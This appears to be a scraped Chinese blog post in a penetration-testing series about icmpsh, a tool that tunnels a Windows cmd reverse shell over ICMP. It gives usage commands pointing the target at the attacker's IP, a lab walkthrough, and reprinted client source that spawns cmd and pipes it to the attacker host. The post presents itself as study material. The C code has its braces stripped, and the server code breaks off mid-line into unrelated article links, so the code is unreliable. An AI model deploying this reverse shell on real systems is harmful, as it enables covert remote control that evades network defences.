内网渗透系列:内网隧道之icmpsh

Posted 思源湖的鱼

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了内网渗透系列:内网隧道之icmpsh相关的知识,希望对你有一定的参考价值。

目录

前言

本文研究ICMP隧道的一个工具,icmpsh

github:https://github.com/bdamele/icmpsh

一、概述

1、简介

最后更新于2013年,能通过ICMP协议请求/回复报文反弹cmd,不需要指定服务或者端口,也不用管理员权限,但反弹回来的cmd极不稳定

  • 受控端(客户端)使用C语言实现,只能运行在目标Windows机器上
  • 主控端(服务端)由于已经有C和Perl实现的版本,而且之后又移植到了Python上,因此可以运行在任何平台的攻击者机器中。

条件:

  • 目标机可以ping出来
  • 目标机是windows

2、原理

ICMP隧道原理参见:内网渗透系列:内网隧道之ICMP隧道

客户端开启cmd进程,通过pipe放入icmp隧道进程,将命令和回显放进data。有一点比较好的是将内容拆分,限制了每个包的时间间隔和长度

3、使用

首先都要关闭内核对ping的响应:

echo 1 >/proc/sys/net/ipv4/icmp_echo_ignore_all 

icmpsh提供了以下选项:

-t host            必须的,客户端指定服务端
-r                 发送 "Test1234" 字符串进行测试
-d milliseconds    requests之间间隔毫秒级时间 
-o milliseconds    设置毫秒级最大响应时间
-b num             blanks的数量
-s bytes           最大数据缓冲区大小

服务端(攻击机)执行

python icmpsh_m.py <attacker's-IP> <target-IP>

客户端(目标机,win)执行

icmpsh.exe -t <attacker's-IP>

然后就建立了隧道

二、实践

1、场景

攻击机:kali 192.168.227.129
目标机:windows7 192.168.227.128

目标机能ping通攻击机

2、建立隧道

(1)攻击机

关闭内核对ping的响应并启动隧道:

echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
python icmpsh_m.py 192.168.227.129 192.168.227.128

(2)目标机

建立隧道

icmpsh.exe -t 192.168.227.129 

(3)隧道建立成功

成功建立隧道并反弹shell

可以发现对中文名不友好

3、抓包看看

连接上迅速反弹shell

dir命令,发现是分散到每个心跳包里,限制了长度和频率

三、探索

1、源码与分析

(1)客户端

C语言
cmd的进程通过pipe放入icmp包的data,icmp包的创建是调用icmp_create


#include <stdio.h>
#include <stdlib.h>
#include <winsock2.h>
#include <windows.h> //这个包可以注意下
#include <iphlpapi.h>

#define ICMP_HEADERS_SIZE	(sizeof(ICMP_ECHO_REPLY) + 8)

#define STATUS_OK					0
#define STATUS_SINGLE				1
#define STATUS_PROCESS_NOT_CREATED	2

#define TRANSFER_SUCCESS			1
#define TRANSFER_FAILURE			0

#define DEFAULT_TIMEOUT			    3000
#define DEFAULT_DELAY			    200
#define DEFAULT_MAX_BLANKS	   	    10
#define DEFAULT_MAX_DATA_SIZE	    64

FARPROC icmp_create, icmp_send, to_ip; //远调用,段寄存器入栈,ip入栈,这是不是也是可以关注的点

int verbose = 0;

// 创建cmd的进程,并设置进程管道
int spawn_shell(PROCESS_INFORMATION *pi, HANDLE *out_read, HANDLE *in_write)

	SECURITY_ATTRIBUTES sattr;
	STARTUPINFOA si; //指定新进程的特性
	HANDLE in_read, out_write;

	memset(&si, 0x00, sizeof(SECURITY_ATTRIBUTES));
	memset(pi, 0x00, sizeof(PROCESS_INFORMATION));
    
	// create communication pipes  
	memset(&sattr, 0x00, sizeof(SECURITY_ATTRIBUTES));
	sattr.nLength = sizeof(SECURITY_ATTRIBUTES); 
	sattr.bInheritHandle = TRUE; 
	sattr.lpSecurityDescriptor = NULL; 

	if (!CreatePipe(out_read, &out_write, &sattr, 0)) 
		return STATUS_PROCESS_NOT_CREATED;
	
	if (!SetHandleInformation(*out_read, HANDLE_FLAG_INHERIT, 0))  //关闭内核对象out_read句柄的继承标志
		return STATUS_PROCESS_NOT_CREATED;
	

	if (!CreatePipe(&in_read, in_write, &sattr, 0)) 
		return STATUS_PROCESS_NOT_CREATED;
	
	if (!SetHandleInformation(*in_write, HANDLE_FLAG_INHERIT, 0)) 
		return STATUS_PROCESS_NOT_CREATED;
	

	// spawn process
	memset(&si, 0x00, sizeof(STARTUPINFO));
	si.cb = sizeof(STARTUPINFO); 
	si.hStdError = out_write;
	si.hStdOutput = out_write;
	si.hStdInput = in_read;
	si.dwFlags |= STARTF_USESTDHANDLES;

	if (!CreateProcessA(NULL, "cmd", NULL, NULL, TRUE, 0, NULL, NULL, (LPSTARTUPINFOA) &si, pi)) 
		return STATUS_PROCESS_NOT_CREATED;
	

	CloseHandle(out_write);
	CloseHandle(in_read);

	return STATUS_OK;


void usage(char *path)

	printf("%s [options] -t target\\n", path);
	printf("options:\\n");
	printf("  -t host            host ip address to send ping requests to\\n");
	printf("  -r                 send a single test icmp request and then quit\\n");
	printf("  -d milliseconds    delay between requests in milliseconds (default is %u)\\n", DEFAULT_DELAY);
	printf("  -o milliseconds    timeout in milliseconds\\n");
	printf("  -h                 this screen\\n");
	printf("  -b num             maximal number of blanks (unanswered icmp requests)\\n");
    printf("                     before quitting\\n");
	printf("  -s bytes           maximal data buffer size in bytes (default is 64 bytes)\\n\\n", DEFAULT_MAX_DATA_SIZE);
	printf("In order to improve the speed, lower the delay (-d) between requests or\\n");
    printf("increase the size (-s) of the data buffer\\n");


void create_icmp_channel(HANDLE *icmp_chan)

	// create icmp file
	*icmp_chan = (HANDLE) icmp_create();


int transfer_icmp(HANDLE icmp_chan, unsigned int target, char *out_buf, unsigned int out_buf_size, char *in_buf, unsigned int *in_buf_size, unsigned int max_in_data_size, unsigned int timeout)

	int rs;
	char *temp_in_buf;
	int nbytes;

	PICMP_ECHO_REPLY echo_reply;

	temp_in_buf = (char *) malloc(max_in_data_size + ICMP_HEADERS_SIZE);
	if (!temp_in_buf) 
		return TRANSFER_FAILURE;
	

	// send data to remote host
	rs = icmp_send(
			icmp_chan,
			target,
			out_buf,
			out_buf_size,
			NULL,
			temp_in_buf,
			max_in_data_size + ICMP_HEADERS_SIZE,
			timeout);

		// check received data
		if (rs > 0) 
			echo_reply = (PICMP_ECHO_REPLY) temp_in_buf;
			if (echo_reply->DataSize > max_in_data_size) 
				nbytes = max_in_data_size;
			 else 
				nbytes = echo_reply->DataSize;
			
			memcpy(in_buf, echo_reply->Data, nbytes);
			*in_buf_size = nbytes;

			free(temp_in_buf);
			return TRANSFER_SUCCESS;
		

		free(temp_in_buf);

    return TRANSFER_FAILURE;


int load_deps() //加载dll

	HMODULE lib;
	
	lib = LoadLibraryA("ws2_32.dll"); //显式链接到 DLL,用于支持Internet和网络应用程序
	if (lib != NULL) 
        to_ip = GetProcAddress(lib, "inet_addr"); //获取 DLL 导出函数的地址
        if (!to_ip)    
            return 0;
        
    

	lib = LoadLibraryA("iphlpapi.dll"); // 用来获取、设置网络相关参数的动态链接库文件
	if (lib != NULL) 
		icmp_create = GetProcAddress(lib, "IcmpCreateFile");
		icmp_send = GetProcAddress(lib, "IcmpSendEcho");
		if (icmp_create && icmp_send) 
			return 1;
		
	 

	lib = LoadLibraryA("ICMP.DLL");
	if (lib != NULL) 
		icmp_create = GetProcAddress(lib, "IcmpCreateFile");
		icmp_send = GetProcAddress(lib, "IcmpSendEcho");
		if (icmp_create && icmp_send) 
			return 1;
		
	
	
	printf("failed to load functions (%u)", GetLastError());

	return 0;

int main(int argc, char **argv)

	int opt;
	char *target;
	unsigned int delay, timeout;
	unsigned int ip_addr;
	HANDLE pipe_read, pipe_write;
	HANDLE icmp_chan;
	unsigned char *in_buf, *out_buf;
	unsigned int in_buf_size, out_buf_size;
	DWORD rs;
	int blanks, max_blanks;
	PROCESS_INFORMATION pi;
	int status;
	unsigned int max_data_size;
	struct hostent *he;


	// set defaults
	target = 0;
	timeout = DEFAULT_TIMEOUT;
	delay = DEFAULT_DELAY;
	max_blanks = DEFAULT_MAX_BLANKS;
	max_data_size = DEFAULT_MAX_DATA_SIZE;

	status = STATUS_OK;
	if (!load_deps()) 
		printf("failed to load ICMP library\\n");
		return -1;
	

	// parse command line options
	for (opt = 1; opt < argc; opt++) 
		if (argv[opt][0] == '-') 
			switch(argv[opt][1]) 
				case 'h':
				    usage(*argv);
					return 0;
				case 't':
					if (opt + 1 < argc) 
						target = argv[opt + 1];
					
					break;
				case 'd':
					if (opt + 1 < argc) 
						delay = atol(argv[opt + 1]);
					
					break;
				case 'o':
					if (opt + 1 < argc) 
						timeout = atol(argv[opt + 1]);
					
					break;
				case 'r':
					status = STATUS_SINGLE;
					break;
				case 'b':
					if (opt + 1 < argc) 
						max_blanks = atol(argv[opt + 1]);
					
					break;
				case 's':
					if (opt + 1 < argc) 
						max_data_size = atol(argv[opt + 1]);
					
					break;
				default:
					printf("unrecognized option -%c\\n", argv[1][0]);
					usage(*argv);
					return -1;
			
		
	

	if (!target) 
		printf("you need to specify a host with -t. Try -h for more options\\n");
		return -1;
	
	ip_addr = to_ip(target);

	// don't spawn a shell if we're only sending a single test request
	if (status != STATUS_SINGLE) 
		status = spawn_shell(&pi, &pipe_read, &pipe_write);
	

	// create icmp channel
	create_icmp_channel(&icmp_chan);
	if (icmp_chan == INVALID_HANDLE_VALUE) 
	    printf("unable to create ICMP file: %u\\n", GetLastError());
	    return -1;
	

	// allocate transfer buffers
	in_buf = (char *) malloc(max_data_size + ICMP_HEADERS_SIZE);
	out_buf = (char *) malloc(max_data_size + ICMP_HEADERS_SIZE);
	if (!in_buf || !out_buf) 
		printf("failed to allocate memory for transfer buffers\\n");
		return -1;
	
	memset(in_buf, 0x00, max_data_size + ICMP_HEADERS_SIZE);
	memset(out_buf, 0x00, max_data_size + ICMP_HEADERS_SIZE);

	// sending/receiving loop
	blanks = 0;
	do 

		switch(status) 
			case STATUS_SINGLE:
				// reply with a static string
				out_buf_size = sprintf(out_buf, "Test1234\\n");
				break;
			case STATUS_PROCESS_NOT_CREATED:
				// reply with error message
				out_buf_size = sprintf(out_buf, "Process was not created\\n");
				break;
			default:
				// read data from process via pipe
				out_buf_size = 0;
				if (PeekNamedPipe(pipe_read, NULL, 0, NULL, &out_buf_size, NULL)) 
					if (out_buf_size > 0) 
						out_buf_size = 0;
						rs = ReadFile(pipe_read, out_buf, max_data_size, &out_buf_size, NULL);
						if (!rs && GetLastError() != ERROR_IO_PENDING) 
							out_buf_size = sprintf(out_buf, "Error: ReadFile failed with %i\\n", GetLastError());
						 
					
				 else 
					out_buf_size = sprintf(out_buf, "Error: PeekNamedPipe failed with %i\\n", GetLastError());
				
				break;
		

		// send request/receive response
		if (transfer_icmp(icmp_chan, ip_addr, out_buf, out_buf_size, in_buf, &in_buf_size,  max_data_size, timeout) == TRANSFER_SUCCESS) 
			if (status == STATUS_OK) 
				// write data from response back into pipe
				WriteFile(pipe_write, in_buf, in_buf_size, &rs, 0);
			
			blanks = 0;
		 else 
			// no reply received or error occured
			blanks++;
		

		// wait between requests
		Sleep(delay);

	 while (status == STATUS_OK && blanks < max_blanks);

	if (status == STATUS_OK) 
		TerminateProcess(pi.hProcess, 0);
	

    return 0;

(2)服务端

主要是non-blocking,然后ICMP的socket,读取内容后,简单修改header,再填充data发送

C语言

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <netinet/in.h>
#include <netinet/ip_icmp.h> //这里的调包是不是可以作为检测点
#include <netinet/ip.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>

#define IN_BUF_SIZE   1024
#define OUT_BUF_SIZE  64

// calculate checksum
unsigned short checksum(unsigned short *ptr, int nbytes)

    unsigned long sum;
    unsigned short oddbyte, rs;

    sum = 0;
    while(nbytes > 1) 
        sum += *ptr++;
        nbytes -= 2;
    

    if(nbytes == 1内网渗透系列:内网隧道之ICMP隧道

内网渗透系列:内网隧道之ICMP隧道

内网渗透系列:内网隧道之icmp_tran

内网渗透系列:内网隧道之pingtunnel

内网渗透系列:内网隧道之NATBypass

内网渗透系列:内网隧道之icmp_tran